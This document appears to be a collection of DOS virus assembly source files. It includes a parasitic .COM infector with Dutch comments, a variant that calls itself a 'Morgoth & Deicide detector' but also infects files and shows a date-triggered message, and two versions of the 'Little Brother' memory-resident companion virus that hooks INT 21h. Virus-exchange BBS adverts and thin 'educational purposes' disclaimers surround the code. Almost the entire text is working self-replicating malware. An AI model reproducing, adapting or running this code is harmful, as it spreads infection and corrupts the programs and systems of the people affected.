;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'Code'
Assume Cs:Code,Ds:Code,Es:Code
Org 100h
Signature Equ 0CaDah ; Signature of virus is ABCD!
Buff1 Equ 0F100h
Buff2 Equ Buff1+2
VirLen Equ Offset Einde-Offset Begin
MovLen Equ Offset Einde-Offset Mover
DTA Equ 0F000h
Proggie Equ DTA+1Eh
Lenny Equ DTA+1Ah
MinLen Equ Virlen ;Minimale lengte te besmetten programma
MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This part will contain the actual virus code, for searching the
; next victim and infection of it.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Begin:
Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk
DW Signature ; Herkenningsteken virus
Oversig:
Pushf ;------------------
Push AX ; Alle registers opslaan voor
Push BX ; later gebruik van het programma
Push CX ;
Push DX ;
Push DS ;
Push ES ;
Push SS ;
Push SI ;
Push DI ;------------------
InfectPart:
Mov AX,Sprong ;------------------
Mov Buf1,AX ; Spronggegevens bewaren om
Mov BX,Source ; besmette programma te starten
Mov Buf2,BX ;------------------
Mov AH,1Ah ; DTA area instellen op
Mov DX,DTA ; $DTA area
Int 21h ;------------------
Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory
Mov Cx,1 ;
Lea DX,FindPath ;
Int 21h ;------------------
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
KijkInfected:
Mov DX,Cs:[Lenny] ;------------------
Cmp DX,MinLen ; Kijken of programmalengte voldoet
Jb ZoekNext ; aan de eisen van het virus
Cmp DX,MaxLen ;
Ja ZoekNext ;------------------
On2: Mov AH,3Dh ; Zo ja , file openen en file handle
Mov AL,2 ; opslaan
Mov DX,Proggie ;
Int 21h ;
Mov FH,AX ;------------------
Mov BX,AX ;
Mov AH,3Fh ; Lezen 1e 4 bytes van een file met
Mov CX,4 ; een mogelijk kenmerk van het virus
Mov DX,Buff1 ;
Int 21h ;------------------
Sluiten: Mov AH,3Eh ; File weer sluiten
Int 21h ;------------------
Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2
Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op
Jnz Infect ; morgoth virus. Als bestand al besmet
ZoekNext:
Mov AH,4Fh ;------------------
Int 21h ; Zoeken naar volgende .COM file
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
Db 'Dutch [Breeze] by Glenn Benton'
Infect:
Mov DX,Proggie ; beveiliging weghalen
Mov AH,43h ;
Mov AL,1 ;
Xor CX,Cx
Int 21h ;------------------
Mov AH,3Dh ; Bestand openen
Mov AL,2 ;
Mov DX,Proggie ;
Int 21h ;------------------
Mov FH,AX ; Opslaan op stack van
Mov BX,AX ; datum voor later gebruik
Mov AH,57H ;
Mov AL,0 ;
Int 21h ;
Push CX ;
Push DX ;------------------
Mov AH,3Fh ; Inlezen van eerste deel van het
Mov CX,VirLen+2 ; programma om later terug te
Mov DX,Buff1 ; kunnen plaatsen.
Int 21h ;------------------
Mov AH,42H ; File Pointer weer naar het
Mov AL,2 ; einde van het programma
Xor CX,CX ; zetten
Xor DX,DX ;
Int 21h ;------------------
Xor DX,DX ; Bepalen van de variabele sprongen
Add AX,100h ; in het virus (move-routine)
Mov Sprong,AX ;
Add AX,MovLen ;
Mov Source,AX ;------------------
Mov AH,40H ; Move routine bewaren aan
Mov DX,Offset Mover ; einde van file
Mov CX,MovLen ;
Int 21h ;------------------
Mov AH,40H ; Eerste deel programma aan-
Mov DX,Buff1 ; voegen na Move routine
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,42h ; File Pointer weer naar
Mov AL,0 ; het begin van file
Xor CX,CX ; sturen
Xor DX,DX ;
Int 21h ;------------------
Mov AH,40h ; En programma overschrijven
Mov DX,Offset Begin ; met code van het virus
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,57h ; Datum van aangesproken file
Mov AL,1 ; weer herstellen
Pop DX ;
Pop CX ;
Int 21h ;------------------
Mov AH,3Eh ; Sluiten file
Int 21h ;------------------
Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer
Mov Source,BX ; op normaal zetten voor
Mov AX,Buf1 ; de Move routine
Mov Sprong,AX ;------------------
Mov AH,1Ah ; DTA adres weer op normaal
Mov Dx,80h ; zetten en naar de Move
Int 21h ; routine springen
Jmp CS:[Sprong] ;------------------
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; All variables are stored in here, like filehandle, date/time,
; search path and various buffers.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FH DW 0
FindPath DB '*.COM',0
Buf1 DW 0
Buf2 DW 0
Sprong DW 0
Source DW 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain the relocator routine, located at the end of
; the ORIGINAL file. This will tranfer the 1st part of the program
; to it's original place.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Mover:
Mov DI,Offset Begin ;------------------
Mov SI,Source ; Verplaatsen van het 1e deel
Mov CX,VirLen-1 ; van het programma, wat achter
Rep Movsb ;------------------
Pop DI ; Opgeslagen registers weer
Pop SI ; terugzetten op originele
Pop SS ; waarde en springen naar
Pop ES ; het begin van het programma
Pop DS ; (waar nu het virus niet meer
Pop DX ; staat)
Pop CX ;
Pop BX ;
Pop AX ;
Popf ;
Mov BX,100h ;
Jmp BX ;------------------
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Only the end of the virus is stored in here.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Einde db 0
Code Ends
End Begin
+256
View File
@@ -0,0 +1,256 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Morgoth & Deicide virus detector ³
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
;³ This will be a Parasytic Non-Resident .COM infector. ³
;³ It will also infect COMMAND.COM. ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.MODEL TINY
Public VirLen,MovLen,PutMsg
Code Segment para 'Code'
Assume Cs:Code,Ds:Code,Es:Code
Org 100h
Signature Equ 0CDABh ; Signature of virus is ABCD!
MorgSig Equ 0AdDeh ; Signature of morgoth is DEAD!
DeiSig Equ 0d90h ; Signature of deicide is 900D!
BegMonthAct Equ 11 ; Begin Month of activation
EndMonthAct Equ 12 ; End Month of activation
BegDayAct Equ 11 ; Begin Day of activation
EndDayAct Equ 25 ; End Day of activation
ActString Equ CR,LF,'Brotherhood... I am seeking my brothers "DEICIDE" and "MORGOTH"...',CR,LF,EOM
MorgString Equ CR,LF,'Found my brother "MORGOTH"!!!',CR,LF,EOM
DeicideString Equ CR,LF,'Found my brother "DEICIDE"!!!',CR,LF,EOM
CR Equ 13 ; Return
LF Equ 10 ; Linefeed
EOM Equ '$' ; Einde Tekst
Buff1 Equ 0F000h
Buff2 Equ Buff1+2
VirLen Equ Offset Einde-Offset Begin
MovLen Equ Offset Einde-Offset Mover
Proggie Equ Offset DTA+1Eh
MinLen Equ Virlen ;Minimale lengte te besmetten programma
MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain only macros, for pieces of code which will be
; used very often.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This part will contain the actual virus code, for searching the
; next victim and infection of it.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Begin:
Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk
DW Signature ; Herkenningsteken virus
Oversig:
Pushf ;------------------
Push AX ; Alle registers opslaan voor
Push BX ; later gebruik van het programma
Push CX ;
Push DX ;
Push DS ;
Push ES ;
Push SS ;
Push SI ;
Push DI ;------------------
Mov AH,2Ah ;------------------
Int 21h ; Systeemdatum vergelijken met
Cmp DH,BegMonthAct ; activatiedatum. Als dit gelijk is
Jb InfectPart ; moet word PutMsg aangeroepen, anders
Cmp DH,EndMonthAct ; wordt InfectPart aangeroepen.
Jg InfectPart ;
Cmp DL,BegDayAct ;
Jb InfectPart ;
Cmp DL,EndDayAct ;
Jg InfectPart ;------------------
PutMsg: Mov AH,09h ; Activatiebericht wordt getoont en
Mov DX,Offset Msg ; de eerste 80 sectoren van de C
Int 21h ; drive worden volgeschreven met
Int 20h ;
InfectPart:
Mov AX,Sprong ;------------------
Mov Buf1,AX ; Spronggegevens bewaren om
Mov BX,Source ; besmette programma te starten
Mov Buf2,BX ;------------------
Mov AH,1Ah ; DTA area instellen op
Lea DX,DTA ; $DTA area
Int 21h ;------------------
Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory
Mov Cx,1 ;
Lea DX,FindPath ;
Int 21h ;------------------
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
KijkInfected:
Mov DX,DTA+1Ah ;------------------
Cmp DX,MinLen ; Kijken of programmalengte voldoet
Jb ZoekNext ; aan de eisen van het virus
Mov DX,MaxLen ; (langer dan virus)
Cmp DX,DTA+1Ah ;
Jb ZoekNext ;------------------
On2: Mov AH,3Dh ; Zo ja , file openen en file handle
Mov AL,2 ; opslaan
Mov DX,Proggie ;
Int 21h ;
Mov FH,AX ;------------------
Mov BX,AX ;
Mov AH,3Fh ; Lezen 1e 4 bytes van een file met
Mov CX,4 ; een mogelijk kenmerk van het virus
Mov DX,Buff1 ;
Int 21h ;------------------
Sluiten: Mov AH,3Eh ; File weer sluiten
Int 21h ;------------------
Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2
Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op
Jz Zoeknext ; morgoth virus. Als bestand al besmet
Cmp Ax,MorgSig ; is met morgoth, geef bericht en stop
Jz MorgHere ; executie!
Cmp Ax,DeiSig
jz DeiHere
Jmp Infect ;------------------
MorgHere: Mov Ah,9
Mov Dx,Offset Morg
Int 21h
Int 20h
DeiHere: Mov Ah,9
Mov Dx,Offset Dei
Int 21h
Int 20h
ZoekNext:
Mov AH,4Fh ;------------------
Int 21h ; Zoeken naar volgende .COM file
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
Infect:
Mov AH,43h ;------------------
Mov AL,0 ; Eventuele schrijf-
Mov DX,Proggie ; beveiliging weghalen
Int 21h ; van het programma
Mov AH,43h ;
Mov AL,1 ;
And CX,11111110b ;
Int 21h ;------------------
Mov AH,3Dh ; Bestand openen
Mov AL,2 ;
Mov DX,Proggie ;
Int 21h ;------------------
Mov FH,AX ; Opslaan op stack van
Mov BX,AX ; datum voor later gebruik
Mov AH,57H ;
Mov AL,0 ;
Int 21h ;
Push CX ;
Push DX ;------------------
Mov AH,3Fh ; Inlezen van eerste deel van het
Mov CX,VirLen+2 ; programma om later terug te
Mov DX,Buff1 ; kunnen plaatsen.
Int 21h ;------------------
Mov AH,42H ; File Pointer weer naar het
Mov AL,2 ; einde van het programma
Xor CX,CX ; zetten
Xor DX,DX ;
Int 21h ;------------------
Xor DX,DX ; Bepalen van de variabele sprongen
Add AX,100h ; in het virus (move-routine)
Mov Sprong,AX ;
Add AX,MovLen ;
Mov Source,AX ;------------------
Mov AH,40H ; Move routine bewaren aan
Mov DX,Offset Mover ; einde van file
Mov CX,MovLen ;
Int 21h ;------------------
Mov AH,40H ; Eerste deel programma aan-
Mov DX,Buff1 ; voegen na Move routine
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,42h ; File Pointer weer naar
Mov AL,0 ; het begin van file
Xor CX,CX ; sturen
Xor DX,DX ;
Int 21h ;------------------
Mov AH,40h ; En programma overschrijven
Mov DX,Offset Begin ; met code van het virus
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,57h ; Datum van aangesproken file
Mov AL,1 ; weer herstellen
Pop DX ;
Pop CX ;
Int 21h ;------------------
Mov AH,3Eh ; Sluiten file
Int 21h ;------------------
Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer
Mov Source,BX ; op normaal zetten voor
Mov AX,Buf1 ; de Move routine
Mov Sprong,AX ;------------------
Mov AH,1Ah ; DTA adres weer op normaal
Mov Dx,80h ; zetten en naar de Move
Int 21h ; routine springen
Jmp CS:[Sprong] ;------------------
Msg db ActString
Morg db MorgString
Dei db DeicideString
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; All variables are stored in here, like filehandle, date/time,
; search path and various buffers.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FH DW 0
FindPath DB '*.COM',0
Buf1 DW 0
Buf2 DW 0
Sprong DW 0
Source DW 0
Db '*** Glenn Benton ***'
DTA DW 64 DUP(?)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain the relocator routine, located at the end of
; the ORIGINAL file. This will tranfer the 1st part of the program
; to it's original place.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Mover:
Mov DI,Offset Begin ;------------------
Mov SI,Source ; Verplaatsen van het 1e deel
Mov CX,VirLen-1 ; van het programma, wat achter
Movsb ; deze verplaatsroutine staat.
Rep Movsb ;------------------
Pop DI ; Opgeslagen registers weer
Pop SI ; terugzetten op originele
Pop SS ; waarde en springen naar
Pop ES ; het begin van het programma
Pop DS ; (waar nu het virus niet meer
Pop DX ; staat)
Pop CX ;
Pop BX ;
Pop AX ;
Popf ;
Mov BX,100h ;
Jmp BX ;------------------
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Only the end of the virus is stored in here.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Einde db 0
Code Ends
End Begin
+265
View File
@@ -0,0 +1,265 @@
;****************************************************************************
;* Little Brother version 2
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
FILELEN equ end - begin
RESPAR equ (FILELEN/16d) + 17d
VERSION equ 2
oi21 equ end
nameptr equ end+4
DTA equ end+8
;****************************************************************************
;* Install the program!
;****************************************************************************
org 100h
begin: cld
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ;get old DTA
int 21
push es
push bx
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint
push di
mov si,offset COM_txt ;is extension 'COM'?
mov cx,3
rep cmpsb
pop di
jz do_com
mov si,offset EXE_txt ;is extension 'EXE'?
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21
return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute EXE-file
return: mov ah,1Ah ;restore old DTA
pop dx
pop ds
int 21
ret
do_com: call findfirst ;is the COM-file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return ;no, execute COM-file
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return ;yes, execute EXE-file
mov si,offset COM_txt ;change extension to COM
call change_ext
jmp short return ;execute COM-file
;****************************************************************************
;* Find the file
;****************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+308
View File
@@ -0,0 +1,308 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;****************************************************************************
;* Little Brother version 3
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
FILELEN equ end - begin
oi21 equ end
nameptr equ end+4
;****************************************************************************
;* Install the program!
;****************************************************************************
org 100h
begin: cld
mov sp,300
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: push cs ;restore segment registers
pop ds
push cs
pop es
mov bx,30 ;free memory
mov ah,4A
int 21
mov es,ds:[002C] ;search filename in environment
mov di,0
mov ch,0FFh
mov al,01
repnz scasb
inc di
mov word ptr [nameptr],di
mov word ptr [nameptr+2],es
mov si,offset EXE_txt ;change extension to .EXE
call change_ext
push cs
pop es
mov bx,offset param ;make EXEC param. block
mov [bx+4],cs
mov [bx+8],cs
mov [bx+0C],cs
lds dx,dword ptr [nameptr]
mov ax,4B00 ;execute .EXE program
int 21
mov ah,4Dh ;ask return code
int 21
mov ah,4Ch ;exit with same return code
int 21
;****************************************************************************
;* EXEC parameter block
;****************************************************************************
param dw 0, 80, ?, 5C, ?, 6C, ?
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
push cs
pop ds
call searchpoint
mov si,offset EXE_txt ;is extension 'EXE'?
mov cx,3
rep cmpsb
jnz return
mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21
return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute .EXE program
return: ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
